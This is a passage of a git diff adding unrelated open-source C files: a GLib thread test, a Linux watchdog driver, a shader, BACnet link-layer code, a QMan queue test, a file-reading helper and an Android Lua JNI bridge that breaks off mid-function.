(C) 2011 Red Hat, Inc + * Author: Matthias Clasen + * + * This work is provided "as is"; redistribution and modification + * in whole or in part, in any medium, physical or electronic is + * permitted without restriction. + * + * This work is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + * In no event shall the authors or contributors be liable for any + * direct, indirect, incidental, special, exemplary, or consequential + * damages (including, but not limited to, procurement of substitute + * goods or services; loss of use, data, or profits; or business + * interruption) however caused and on any theory of liability, whether + * in contract, strict liability, or tort (including negligence or + * otherwise) arising in any way out of the use of this software, even + * if advised of the possibility of such damage. + */ + +#include +#include + +#ifdef HAVE_SYS_TIME_H +#include +#endif +#include +#ifdef HAVE_SYS_PRCTL_H +#include +#endif + +#include + +#ifdef G_OS_UNIX +#include +#include +#endif + +#ifdef THREADS_POSIX +#include +#endif + +static gpointer +thread1_func (gpointer data) +{ + g_thread_exit (GINT_TO_POINTER (1)); + + g_assert_not_reached (); + + return NULL; +} + +/* test that g_thread_exit() works */ +static void +test_thread1 (void) +{ + gpointer result; + GThread *thread; + GError *error = NULL; + + thread = g_thread_try_new ("test", thread1_func, NULL, &error); + g_assert_no_error (error); + + result = g_thread_join (thread); + + g_assert_cmpint (GPOINTER_TO_INT (result), ==, 1); +} + +static gpointer +thread2_func (gpointer data) +{ + return g_thread_self (); +} + +/* test that g_thread_self() works */ +static void +test_thread2 (void) +{ + gpointer result; + GThread *thread; + + thread = g_thread_new ("test", thread2_func, NULL); + + g_assert (g_thread_self () != thread); + + result = g_thread_join (thread); + + g_assert (result == thread); +} + +static gpointer +thread3_func (gpointer data) +{ + GThread *peer = data; + gint retval; + + retval = 3; + + if (peer) + { + gpointer result; + + result = g_thread_join (peer); + + retval += GPOINTER_TO_INT (result); + } + + return GINT_TO_POINTER (retval); +} + +/* test that g_thread_join() works across peers */ +static void +test_thread3 (void) +{ + gpointer result; + GThread *thread1, *thread2, *thread3; + + thread1 = g_thread_new ("a", thread3_func, NULL); + thread2 = g_thread_new ("b", thread3_func, thread1); + thread3 = g_thread_new ("c", thread3_func, thread2); + + result = g_thread_join (thread3); + + g_assert_cmpint (GPOINTER_TO_INT(result), ==, 9); +} + +/* test that thread creation fails as expected, + * by setting RLIMIT_NPROC ridiculously low + */ +static void +test_thread4 (void) +{ +#ifdef HAVE_PRLIMIT + struct rlimit ol, nl; + GThread *thread; + GError *error; + gint ret; + + getrlimit (RLIMIT_NPROC, &nl); + nl.rlim_cur = 1; + + if ((ret = prlimit (getpid (), RLIMIT_NPROC, &nl, &ol)) != 0) + g_error ("prlimit failed: %s", g_strerror (errno)); + + error = NULL; + thread = g_thread_try_new ("a", thread1_func, NULL, &error); + + if (thread != NULL) + { + gpointer result; + + /* Privileged processes might be able to create new threads even + * though the rlimit is too low. There isn't much we can do about + * this; we just can't test this failure mode in this situation. */ + g_test_skip ("Unable to test g_thread_try_new() failing with EAGAIN " + "while privileged (CAP_SYS_RESOURCE, CAP_SYS_ADMIN or " + "euid 0?)"); + result = g_thread_join (thread); + g_assert_cmpint (GPOINTER_TO_INT (result), ==, 1); + } + else + { + g_assert (thread == NULL); + g_assert_error (error, G_THREAD_ERROR, G_THREAD_ERROR_AGAIN); + g_error_free (error); + } + + if ((ret = prlimit (getpid (), RLIMIT_NPROC, &ol, NULL)) != 0) + g_error ("resetting RLIMIT_NPROC failed: %s", g_strerror (errno)); +#endif +} + +static void +test_thread5 (void) +{ + GThread *thread; + + thread = g_thread_new ("a", thread3_func, NULL); + g_thread_ref (thread); + g_thread_join (thread); + g_thread_unref (thread); +} + +static gpointer +thread6_func (gpointer data) +{ +#if defined (HAVE_PTHREAD_SETNAME_NP_WITH_TID) && defined (HAVE_PTHREAD_GETNAME_NP) + char name[16]; + + pthread_getname_np (pthread_self(), name, 16); + + g_assert_cmpstr (name, ==, data); +#endif + + return NULL; +} + +static void +test_thread6 (void) +{ + GThread *thread; + + thread = g_thread_new ("abc", thread6_func, "abc"); + g_thread_join (thread); +} + +int +main (int argc, char *argv[]) +{ + g_test_init (&argc, &argv, NULL); + + g_test_add_func ("/thread/thread1", test_thread1); + g_test_add_func ("/thread/thread2", test_thread2); + g_test_add_func ("/thread/thread3", test_thread3); + g_test_add_func ("/thread/thread4", test_thread4); + g_test_add_func ("/thread/thread5", test_thread5); + g_test_add_func ("/thread/thread6", test_thread6); + + return g_test_run (); +} diff --git a/pool/shard011/C/0142218_scx200_wdt.c b/pool/shard011/C/0142218_scx200_wdt.c new file mode 100644 index 0000000000000000000000000000000000000000..c02aa8b609e2ec45c1575ac540bf578e5019a79e --- /dev/null +++ b/pool/shard011/C/0142218_scx200_wdt.c @@ -0,0 +1,277 @@ +/* linux/drivers/char/scx200_wdt.c + + National Semiconductor SCx200 Watchdog support + + Copyright (c) 2001,2002 Christer Weinigel + + Som code taken from: + National Semiconductor PC87307/PC97307 (ala SC1200) WDT driver + (c) Copyright 2002 Zwane Mwaikambo + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License as + published by the Free Software Foundation; either version 2 of the + License, or (at your option) any later version. + + The author(s) of this software shall not be held liable for damages + of any nature resulting due to the use of this software. This + software is provided AS-IS with no warranties. */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#define NAME "scx200_wdt" + +MODULE_AUTHOR("Christer Weinigel "); +MODULE_DESCRIPTION("NatSemi SCx200 Watchdog Driver"); +MODULE_LICENSE("GPL"); + +#ifndef CONFIG_WATCHDOG_NOWAYOUT +#define CONFIG_WATCHDOG_NOWAYOUT 0 +#endif + +static int margin = 60; /* in seconds */ +MODULE_PARM(margin, "i"); +MODULE_PARM_DESC(margin, "Watchdog margin in seconds"); + +static int nowayout = CONFIG_WATCHDOG_NOWAYOUT; +MODULE_PARM(nowayout, "i"); +MODULE_PARM_DESC(nowayout, "Disable watchdog shutdown on close"); + +static u16 wdto_restart; +static struct semaphore open_semaphore; +static unsigned expect_close; + +/* Bits of the WDCNFG register */ +#define W_ENABLE 0x00fa /* Enable watchdog */ +#define W_DISABLE 0x0000 /* Disable watchdog */ + +/* The scaling factor for the timer, this depends on the value of W_ENABLE */ +#define W_SCALE (32768/1024) + +static void scx200_wdt_ping(void) +{ + outw(wdto_restart, SCx200_CB_BASE + SCx200_WDT_WDTO); +} + +static void scx200_wdt_update_margin(void) +{ + printk(KERN_INFO NAME ": timer margin %d seconds\n", margin); + wdto_restart = margin * W_SCALE; +} + +static void scx200_wdt_enable(void) +{ + printk(KERN_DEBUG NAME ": enabling watchdog timer, wdto_restart = %d\n", + wdto_restart); + + outw(0, SCx200_CB_BASE + SCx200_WDT_WDTO); + outb(SCx200_WDT_WDSTS_WDOVF, SCx200_CB_BASE + SCx200_WDT_WDSTS); + outw(W_ENABLE, SCx200_CB_BASE + SCx200_WDT_WDCNFG); + + scx200_wdt_ping(); +} + +static void scx200_wdt_disable(void) +{ + printk(KERN_DEBUG NAME ": disabling watchdog timer\n"); + + outw(0, SCx200_CB_BASE + SCx200_WDT_WDTO); + outb(SCx200_WDT_WDSTS_WDOVF, SCx200_CB_BASE + SCx200_WDT_WDSTS); + outw(W_DISABLE, SCx200_CB_BASE + SCx200_WDT_WDCNFG); +} + +static int scx200_wdt_open(struct inode *inode, struct file *file) +{ + /* only allow one at a time */ + if (down_trylock(&open_semaphore)) + return -EBUSY; + scx200_wdt_enable(); + expect_close = 0; + + return 0; +} + +static int scx200_wdt_release(struct inode *inode, struct file *file) +{ + if (!expect_close) { + printk(KERN_WARNING NAME ": watchdog device closed unexpectedly, will not disable the watchdog timer\n"); + } else if (!nowayout) { + scx200_wdt_disable(); + } + up(&open_semaphore); + + return 0; +} + +static int scx200_wdt_notify_sys(struct notifier_block *this, + unsigned long code, void *unused) +{ + if (code == SYS_HALT || code == SYS_POWER_OFF) + if (!nowayout) + scx200_wdt_disable(); + + return NOTIFY_DONE; +} + +static struct notifier_block scx200_wdt_notifier = +{ + notifier_call: scx200_wdt_notify_sys +}; + +static ssize_t scx200_wdt_write(struct file *file, const char *data, + size_t len, loff_t *ppos) +{ + if (ppos != &file->f_pos) + return -ESPIPE; + + /* check for a magic close character */ + if (len) + { + size_t i; + + scx200_wdt_ping(); + + expect_close = 0; + for (i = 0; i < len; ++i) { + char c; + if (get_user(c, data+i)) + return -EFAULT; + if (c == 'V') + expect_close = 1; + } + + return len; + } + + return 0; +} + +static int scx200_wdt_ioctl(struct inode *inode, struct file *file, + unsigned int cmd, unsigned long arg) +{ + static struct watchdog_info ident = { + .identity = "NatSemi SCx200 Watchdog", + .firmware_version = 1, + .options = (WDIOF_SETTIMEOUT | WDIOF_KEEPALIVEPING), + }; + int new_margin; + + switch (cmd) { + default: + return -ENOTTY; + case WDIOC_GETSUPPORT: + if(copy_to_user((struct watchdog_info *)arg, &ident, + sizeof(ident))) + return -EFAULT; + return 0; + case WDIOC_GETSTATUS: + case WDIOC_GETBOOTSTATUS: + if (put_user(0, (int *)arg)) + return -EFAULT; + return 0; + case WDIOC_KEEPALIVE: + scx200_wdt_ping(); + return 0; + case WDIOC_SETTIMEOUT: + if (get_user(new_margin, (int *)arg)) + return -EFAULT; + if (new_margin < 1) + return -EINVAL; + margin = new_margin; + scx200_wdt_update_margin(); + scx200_wdt_ping(); + case WDIOC_GETTIMEOUT: + if (put_user(margin, (int *)arg)) + return -EFAULT; + return 0; + } +} + +static struct file_operations scx200_wdt_fops = { + .owner = THIS_MODULE, + .write = scx200_wdt_write, + .ioctl = scx200_wdt_ioctl, + .open = scx200_wdt_open, + .release = scx200_wdt_release, +}; + +static struct miscdevice scx200_wdt_miscdev = { + .minor = WATCHDOG_MINOR, + .name = NAME, + .fops = &scx200_wdt_fops, +}; + +static int __init scx200_wdt_init(void) +{ + int r; + + printk(KERN_DEBUG NAME ": NatSemi SCx200 Watchdog Driver\n"); + + /* First check that this really is a NatSemi SCx200 CPU */ + if ((pci_find_device(PCI_VENDOR_ID_NS, + PCI_DEVICE_ID_NS_SCx200_BRIDGE, + NULL)) == NULL) + return -ENODEV; + + /* More sanity checks, verify that the configuration block is there */ + if (!scx200_cb_probe(SCx200_CB_BASE)) { + printk(KERN_WARNING NAME ": no configuration block found\n"); + return -ENODEV; + } + + if (!request_region(SCx200_CB_BASE + SCx200_WDT_OFFSET, + SCx200_WDT_SIZE, + "NatSemi SCx200 Watchdog")) { + printk(KERN_WARNING NAME ": watchdog I/O region busy\n"); + return -EBUSY; + } + + scx200_wdt_update_margin(); + scx200_wdt_disable(); + + sema_init(&open_semaphore, 1); + + r = misc_register(&scx200_wdt_miscdev); + if (r) + return r; + + r = register_reboot_notifier(&scx200_wdt_notifier); + if (r) { + printk(KERN_ERR NAME ": unable to register reboot notifier"); + misc_deregister(&scx200_wdt_miscdev); + return r; + } + + return 0; +} + +static void __exit scx200_wdt_cleanup(void) +{ + unregister_reboot_notifier(&scx200_wdt_notifier); + misc_deregister(&scx200_wdt_miscdev); + release_region(SCx200_CB_BASE + SCx200_WDT_OFFSET, + SCx200_WDT_SIZE); +} + +module_init(scx200_wdt_init); +module_exit(scx200_wdt_cleanup); + +/* + Local variables: + compile-command: "make -k -C ../.. SUBDIRS=drivers/char modules" + c-basic-offset: 8 + End: +*/ diff --git a/pool/shard011/C/0142219_effect.brightness.frag.c b/pool/shard011/C/0142219_effect.brightness.frag.c new file mode 100644 index 0000000000000000000000000000000000000000..49763e0c4e2af3ae510d3a0bc5cf293574d06d28 --- /dev/null +++ b/pool/shard011/C/0142219_effect.brightness.frag.c @@ -0,0 +1,34 @@ +/* + VRT - Copyright © 2014 Odd Marthon Lende + All Rights Reserved +*/ + + +#version 100 + +#ifdef GL_ES +precision highp float; +#endif + +uniform sampler2D sampler; +uniform vec2 resolution; + +uniform float brightness; +uniform float cutoff; + +vec3 weight = vec3(1./3., 1./3., 1./3.); + +void main () { + + vec4 result = texture2D(sampler, gl_FragCoord.xy / resolution); + + if( dot(result.rgb, weight) > cutoff ) + result = vec4( + (brightness * (1. - result.r)) + result.r, + (brightness * (1. - result.g)) + result.g, + (brightness * (1. - result.b)) + result.b, + 1. + ); + + gl_FragColor = result; +} \ No newline at end of file diff --git a/pool/shard011/C/0142220_bvlc-arduino.c b/pool/shard011/C/0142220_bvlc-arduino.c new file mode 100644 index 0000000000000000000000000000000000000000..b3c50dcce51cd07f67fb41d895a586ff0c12bbb7 --- /dev/null +++ b/pool/shard011/C/0142220_bvlc-arduino.c @@ -0,0 +1,124 @@ +/** + * @file + * @author Miguel Fernandes + * @date 6 de Jun de 2013 + * @brief BACnet Virtual Link Control for Wiznet on Arduino-Uno + */ +#include +#include +#include + +#include "bvlc-arduino.h" +#include "bip.h" +#include "bacint.h" +#include "socketWrapper.h" +#include "w5100Wrapper.h" + +/** result from a client request */ +BACNET_BVLC_RESULT BVLC_Result_Code = BVLC_RESULT_SUCCESSFUL_COMPLETION; +/** The current BVLC Function Code being handled. */ +BACNET_BVLC_FUNCTION BVLC_Function_Code = BVLC_RESULT; /* A safe default */ + +static int bvlc_encode_bvlc_result(uint8_t * pdu, + BACNET_BVLC_RESULT result_code) +{ + if (pdu) { + pdu[0] = BVLL_TYPE_BACNET_IP; + pdu[1] = BVLC_RESULT; + /* The 2-octet BVLC Length field is the length, in octets, + of the entire BVLL message, including the two octets of the + length field itself, most significant octet first. */ + encode_unsigned16(&pdu[2], 6); + encode_unsigned16(&pdu[4], (uint16_t) result_code); + } + + return 6; +} + +static int bvlc_send_mpdu(uint8_t * dest_addr, /* the destination address */ + + uint16_t * dest_port, /* the destination port */ + + uint8_t * mtu, /* the data */ + + uint16_t mtu_len) +{ /* amount of data to send */ + /* assumes that the driver has already been initialized */ + if (bip_valid()) { + return 0; + } + + return sendto_func(bip_socket(), mtu, mtu_len, dest_addr, *dest_port); +} + +static void bvlc_send_result(uint8_t * dest_addr, + uint16_t * dest_port, /* the destination address */ + + BACNET_BVLC_RESULT result_code) +{ + uint8_t mtu[MAX_MPDU] = { 0 }; + uint16_t mtu_len = 0; + + mtu_len = (uint16_t) bvlc_encode_bvlc_result(&mtu[0], result_code); + bvlc_send_mpdu(dest_addr, dest_port, mtu, mtu_len); + + return; +} + +uint16_t bvlc_for_non_bbmd(uint8_t * addr, + uint16_t * port, + uint8_t * npdu, + uint16_t received_bytes) +{ + + uint16_t result_code = 0; /* aka, BVLC_RESULT_SUCCESSFUL_COMPLETION */ + BVLC_Function_Code = npdu[1]; /* The BVLC function */ + switch (BVLC_Function_Code) { + case BVLC_RESULT: + if (received_bytes >= 6) { + /* This is the result of our foreign device registration */ + (void) decode_unsigned16(&npdu[4], &result_code); + BVLC_Result_Code = (BACNET_BVLC_RESULT) result_code; + fprintf(stderr, "BVLC: Result Code=%d\n", BVLC_Result_Code); + /* But don't send any response */ + result_code = 0; + } + break; + case BVLC_WRITE_BROADCAST_DISTRIBUTION_TABLE: + result_code = BVLC_RESULT_WRITE_BROADCAST_DISTRIBUTION_TABLE_NAK; + break; + case BVLC_READ_BROADCAST_DIST_TABLE: + result_code = BVLC_RESULT_READ_BROADCAST_DISTRIBUTION_TABLE_NAK; + break; + /* case BVLC_READ_BROADCAST_DIST_TABLE_ACK: */ + case BVLC_REGISTER_FOREIGN_DEVICE: + result_code = BVLC_RESULT_REGISTER_FOREIGN_DEVICE_NAK; + break; + case BVLC_READ_FOREIGN_DEVICE_TABLE: + result_code = BVLC_RESULT_READ_FOREIGN_DEVICE_TABLE_NAK; + break; + /* case BVLC_READ_FOREIGN_DEVICE_TABLE_ACK: */ + case BVLC_DELETE_FOREIGN_DEVICE_TABLE_ENTRY: + result_code = BVLC_RESULT_DELETE_FOREIGN_DEVICE_TABLE_ENTRY_NAK; + break; + case BVLC_DISTRIBUTE_BROADCAST_TO_NETWORK: + result_code = BVLC_RESULT_DISTRIBUTE_BROADCAST_TO_NETWORK_NAK; + break; + /* case BVLC_FORWARDED_NPDU: */ + /* case BVLC_ORIGINAL_UNICAST_NPDU: */ + /* case BVLC_ORIGINAL_BROADCAST_NPDU: */ + default: + break; + } + + if (result_code > 0) { + bvlc_send_result(addr, port, result_code); + fprintf(stderr, "BVLC: NAK code=%d\n", result_code); + } + return result_code; +} + +BACNET_BVLC_FUNCTION bvlc_get_function_code(void) +{ + return BVLC_Function_Code; +} diff --git a/pool/shard011/C/0142221_qman_test_high.c b/pool/shard011/C/0142221_qman_test_high.c new file mode 100644 index 0000000000000000000000000000000000000000..e394640fde5b0317d980c189156c87f4e74c2a6a --- /dev/null +++ b/pool/shard011/C/0142221_qman_test_high.c @@ -0,0 +1,222 @@ +/* Copyright 2008-2011 Freescale Semiconductor, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * * Neither the name of Freescale Semiconductor nor the + * names of its contributors may be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * + * ALTERNATIVELY, this software may be distributed under the terms of the + * GNU General Public License ("GPL") as published by the Free Software + * Foundation, either version 2 of that License or (at your option) any + * later version. + * + * THIS SOFTWARE IS PROVIDED BY Freescale Semiconductor ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL Freescale Semiconductor BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "qman_test.h" + +/*************/ +/* constants */ +/*************/ + +#define CGR_ID 27 +#define POOL_ID 2 +#define FQ_FLAGS QMAN_FQ_FLAG_DYNAMIC_FQID +#define NUM_ENQUEUES 10 +#define NUM_PARTIAL 4 +#define PORTAL_SDQCR (QM_SDQCR_SOURCE_CHANNELS | \ + QM_SDQCR_TYPE_PRIO_QOS | \ + QM_SDQCR_TOKEN_SET(0x98) | \ + QM_SDQCR_CHANNELS_DEDICATED | \ + QM_SDQCR_CHANNELS_POOL(POOL_ID)) +#define PORTAL_OPAQUE (void *)0xf00dbeef +#define VDQCR_FLAGS (QMAN_VOLATILE_FLAG_WAIT | QMAN_VOLATILE_FLAG_FINISH) + +/*************************************/ +/* Predeclarations (eg. for fq_base) */ +/*************************************/ + +static enum qman_cb_dqrr_result cb_dqrr(struct qman_portal *, + struct qman_fq *, + const struct qm_dqrr_entry *); +static void cb_ern(struct qman_portal *, struct qman_fq *, + const struct qm_mr_entry *); +static void cb_dc_ern(struct qman_portal *, struct qman_fq *, + const struct qm_mr_entry *); +static void cb_fqs(struct qman_portal *, struct qman_fq *, + const struct qm_mr_entry *); + +/***************/ +/* global vars */ +/***************/ + +static struct qm_fd fd, fd_dq; +static struct qman_fq fq_base = { + .cb.dqrr = cb_dqrr, + .cb.ern = cb_ern, + .cb.dc_ern = cb_dc_ern, + .cb.fqs = cb_fqs +}; +static DECLARE_WAIT_QUEUE_HEAD(waitqueue); +static int retire_complete, sdqcr_complete; + +/**********************/ +/* internal functions */ +/**********************/ + +/* Helpers for initialising and "incrementing" a frame descriptor */ +static void fd_init(struct qm_fd *__fd) +{ + qm_fd_addr_set64(__fd, 0xabdeadbeefLLU); + __fd->format = qm_fd_contig_big; + __fd->length29 = 0x0000ffff; + __fd->cmd = 0xfeedf00d; +} + +static void fd_inc(struct qm_fd *__fd) +{ + u64 t = qm_fd_addr_get64(__fd); + int z = t >> 40; + t <<= 1; + if (z) + t |= 1; + qm_fd_addr_set64(__fd, t); + __fd->length29--; + __fd->cmd++; +} + +/* The only part of the 'fd' we can't memcmp() is the ppid */ +static int fd_cmp(const struct qm_fd *a, const struct qm_fd *b) +{ + int r = (qm_fd_addr_get64(a) == qm_fd_addr_get64(b)) ? 0 : -1; + if (!r) + r = a->format - b->format; + if (!r) + r = a->opaque - b->opaque; + if (!r) + r = a->cmd - b->cmd; + return r; +} + +/********/ +/* test */ +/********/ + +static void do_enqueues(struct qman_fq *fq) +{ + unsigned int loop; + for (loop = 0; loop < NUM_ENQUEUES; loop++) { + if (qman_enqueue(fq, &fd, QMAN_ENQUEUE_FLAG_WAIT | + (((loop + 1) == NUM_ENQUEUES) ? + QMAN_ENQUEUE_FLAG_WAIT_SYNC : 0))) + panic("qman_enqueue() failed\n"); + fd_inc(&fd); + } +} + +void qman_test_high(void) +{ + int flags, res; + struct qman_fq *fq = &fq_base; + + pr_info("qman_test_high starting\n"); + fd_init(&fd); + fd_init(&fd_dq); + + /* Initialise (parked) FQ */ + if (qman_create_fq(0, FQ_FLAGS, fq)) + panic("qman_create_fq() failed\n"); + if (qman_init_fq(fq, QMAN_INITFQ_FLAG_LOCAL, NULL)) + panic("qman_init_fq() failed\n"); + + /* Do enqueues + VDQCR, twice. (Parked FQ) */ + do_enqueues(fq); + pr_info("VDQCR (till-empty);\n"); + if (qman_volatile_dequeue(fq, VDQCR_FLAGS, + QM_VDQCR_NUMFRAMES_TILLEMPTY)) + panic("qman_volatile_dequeue() failed\n"); + do_enqueues(fq); + pr_info("VDQCR (%d of %d);\n", NUM_PARTIAL, NUM_ENQUEUES); + if (qman_volatile_dequeue(fq, VDQCR_FLAGS, + QM_VDQCR_NUMFRAMES_SET(NUM_PARTIAL))) + panic("qman_volatile_dequeue() failed\n"); + pr_info("VDQCR (%d of %d);\n", NUM_ENQUEUES - NUM_PARTIAL, + NUM_ENQUEUES); + if (qman_volatile_dequeue(fq, VDQCR_FLAGS, + QM_VDQCR_NUMFRAMES_SET(NUM_ENQUEUES - NUM_PARTIAL))) + panic("qman_volatile_dequeue() failed\n"); + + do_enqueues(fq); + pr_info("scheduled dequeue (till-empty)\n"); + if (qman_schedule_fq(fq)) + panic("qman_schedule_fq() failed\n"); + wait_event(waitqueue, sdqcr_complete); + + /* Retire and OOS the FQ */ + res = qman_retire_fq(fq, &flags); + if (res < 0) + panic("qman_retire_fq() failed\n"); + wait_event(waitqueue, retire_complete); + if (flags & QMAN_FQ_STATE_BLOCKOOS) + panic("leaking frames\n"); + if (qman_oos_fq(fq)) + panic("qman_oos_fq() failed\n"); + qman_destroy_fq(fq, 0); + pr_info("qman_test_high finished\n"); +} + +static enum qman_cb_dqrr_result cb_dqrr(struct qman_portal *p, + struct qman_fq *fq, + const struct qm_dqrr_entry *dq) +{ + if (fd_cmp(&fd_dq, &dq->fd)) { + pr_err("BADNESS: dequeued frame doesn't match;\n"); + BUG(); + } + fd_inc(&fd_dq); + if (!(dq->stat & QM_DQRR_STAT_UNSCHEDULED) && !fd_cmp(&fd_dq, &fd)) { + sdqcr_complete = 1; + wake_up(&waitqueue); + } + return qman_cb_dqrr_consume; +} + +static void cb_ern(struct qman_portal *p, struct qman_fq *fq, + const struct qm_mr_entry *msg) +{ + panic("cb_ern() unimplemented"); +} + +static void cb_dc_ern(struct qman_portal *p, struct qman_fq *fq, + const struct qm_mr_entry *msg) +{ + panic("cb_dc_ern() unimplemented"); +} + +static void cb_fqs(struct qman_portal *p, struct qman_fq *fq, + const struct qm_mr_entry *msg) +{ + u8 verb = (msg->verb & QM_MR_VERB_TYPE_MASK); + if ((verb != QM_MR_VERB_FQRN) && (verb != QM_MR_VERB_FQRNI)) + panic("unexpected FQS message"); + pr_info("Retirement message received\n"); + retire_complete = 1; + wake_up(&waitqueue); +} + diff --git a/pool/shard011/C/0142222_file_ops.c b/pool/shard011/C/0142222_file_ops.c new file mode 100644 index 0000000000000000000000000000000000000000..c36f77433bfb05e0c4b20df1ee536b0bdb1047c7 --- /dev/null +++ b/pool/shard011/C/0142222_file_ops.c @@ -0,0 +1,70 @@ +#include +#include +#include +#include +#include +#include +#include +#include "host_config.h" +#include "file_ops.h" +#include "log.h" + +int read_file(const char *filename, uint8_t **buf_ret, size_t *size_ret) +{ + int status = BLADERF_ERR_UNEXPECTED; + struct stat sb; + FILE *f; + int fd; + uint8_t *buf; + ssize_t n_read; + + f = fopen(filename, "rb"); + if (!f) { + bladerf_log_error("fopen: %s\n", strerror(errno)); + return BLADERF_ERR_IO; + } + + fd = fileno(f); + if (fd < 0) { + bladerf_log_error("fileno: %s\n", strerror(errno)); + status = BLADERF_ERR_IO; + goto os_read_file__err_fileno; + } + + if (fstat(fd, &sb) < 0) { + bladerf_log_error("fstat: %s\n", strerror(errno)); + status = BLADERF_ERR_IO; + goto os_read_file__err_stat; + } + + buf = malloc(sb.st_size); + if (!buf) { + status = BLADERF_ERR_MEM; + goto os_read_file__err_malloc; + } + + n_read = fread(buf, 1, sb.st_size, f); + if (n_read != sb.st_size) { + if (n_read < 0) { + bladerf_log_error("fread: %s\n", strerror(errno)); + } else { + bladerf_log_warning("short read: %zd/%zd\n", n_read, sb.st_size); + } + + status = BLADERF_ERR_IO; + goto os_read_file__err_fread; + } + + *buf_ret = buf; + *size_ret = sb.st_size; + fclose(f); + return 0; + +os_read_file__err_fread: + free(buf); +os_read_file__err_malloc: +os_read_file__err_stat: +os_read_file__err_fileno: + fclose(f); + return status; +} diff --git a/pool/shard011/C/0142223_luajava.c b/pool/shard011/C/0142223_luajava.c new file mode 100644 index 0000000000000000000000000000000000000000..5616f2e1ba2c3bf1eb1835c4de7e3bb40e50c30a --- /dev/null +++ b/pool/shard011/C/0142223_luajava.c @@ -0,0 +1,171 @@ +#include +#include +#include +#include +#include + +#include "lua.h" +#include "lualib.h" +#include "lauxlib.h" +#include "luasocket.h" +#include "mime.h" + +#define LOG_TAG "libluajava" +#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__) + +static lua_State * L = NULL; +static char defaultPath[128]; + +#define BUFFER_MAX_LEN 4096 + +struct block { + char buffer[BUFFER_MAX_LEN]; + char * ptr; +}; + +static struct block block_output; + +static const char * lua_path = "\ +local path=...\ +package.path = package.path..path..'/?.lua;'\ +package.cpath = package.cpath..path..'/?.so;'\ +"; + +static void lua_addpath(lua_State *L, const char * path) { + int err = luaL_loadstring(L, lua_path); + assert(err == LUA_OK); + lua_pushstring(L, path); + err = lua_pcall(L, 1, 0, 0); + if (err) { + fprintf(stderr,"%s\n",lua_tostring(L,-1)); + lua_close(L); + exit(1); + } +} + +static void foutput(const char * val) { + int n = strlen(val); + int rn = BUFFER_MAX_LEN-(block_output.ptr-block_output.buffer); + if (rn>=n) { + strncpy(block_output.ptr,val,n); + block_output.ptr += n; + } +} + +static int lua_print (lua_State *L) { + int n = lua_gettop(L); /* number of arguments */ + int i; + lua_getglobal(L, "tostring"); + for (i=1; i<=n; i++) { + const char *s; + lua_pushvalue(L, -1); /* function to be called */ + lua_pushvalue(L, i); /* value to print */ + lua_call(L, 1, 1); + s = lua_tostring(L, -1); /* get result */ + if (s == NULL) + return luaL_error(L, LUA_QL("tostring") " must return a string to " + LUA_QL("print")); + if (i>1) foutput("\t"); + foutput(s); + lua_pop(L, 1); /* pop result */ + } + foutput("\n"); + return 0; +} + +static void cleanoutput() { + memset(block_output.buffer,0,BUFFER_MAX_LEN); + block_output.ptr = block_output.buffer; +} + +void +Java_com_hanxi_luarun_MainActivity_luainit( JNIEnv * env, jobject jobj, jstring wpath) +{ + if (L) { + lua_close(L); + } + + L = luaL_newstate(); + luaL_checkversion(L); + luaL_openlibs(L); // link lua lib + luaL_requiref(L, "mime.core", luaopen_mime_core, 0); + luaL_requiref(L, "socket.core", luaopen_socket_core, 0); + lua_settop(L,0); + + const char * path = (*env)->GetStringUTFChars(env, wpath, NULL); + lua_addpath(L,path); + lua_register(L,"print",lua_print); + cleanoutput(); + strcpy(defaultPath,path); +} + +void +Java_com_hanxi_luarun_MainActivity_luarestart(JNIEnv *env, jobject jobj) +{ + if (L) { + lua_close(L); + } + + L = luaL_newstate(); + luaL_checkversion(L); + luaL_openlibs(L); // link lua lib + luaL_requiref(L, "mime.core", luaopen_mime_core, 0); + luaL_requiref(L, "socket.core", luaopen_socket_core, 0); + lua_settop(L,0); + + lua_addpath(L,defaultPath); + lua_register(L,"print",lua_print); + cleanoutput(); +} + +void +Java_com_hanxi_luarun_MainActivity_luaaddpath( JNIEnv * env , jobject jobj, jstring path) +{ + // convert Java string to UTF-8 + const char *utf8 = (*env)->GetStringUTFChars(env, path, NULL); + assert(NULL != utf8); + lua_addpath(L,utf8); +} + +jstring Java_com_hanxi_luarun_MainActivity_luadostring( JNIEnv * env , jobject jobj, jstring luastr) +{ + const char * utfStr = ( *env )->GetStringUTFChars( env , luastr , NULL ); + LOGI("lua:%s",utfStr); + luaL_loadstring(L, "msg=...;print(msg)"); + luaL_loadstring(L, utfStr); + lua_pcall(L,0,0,-2); + lua_settop(L,0); + foutput("\0"); + return (*env)->NewStringUTF(env, block_output.buffer); +} + +void Java_com_hanxi_luarun_MainActivity_luacleanoutput( JNIEnv * env , jobject jobj) +{ + cleanoutput(); +} + +jstring +Java_com_hanxi_luarun_MainActivity_stringFromJNI( JNIEnv* env, + jobject thiz ) +{ +#if defined(__arm__) + #if defined(__ARM_ARCH_7A__) + #if defined(__ARM_NEON__) + #define ABI 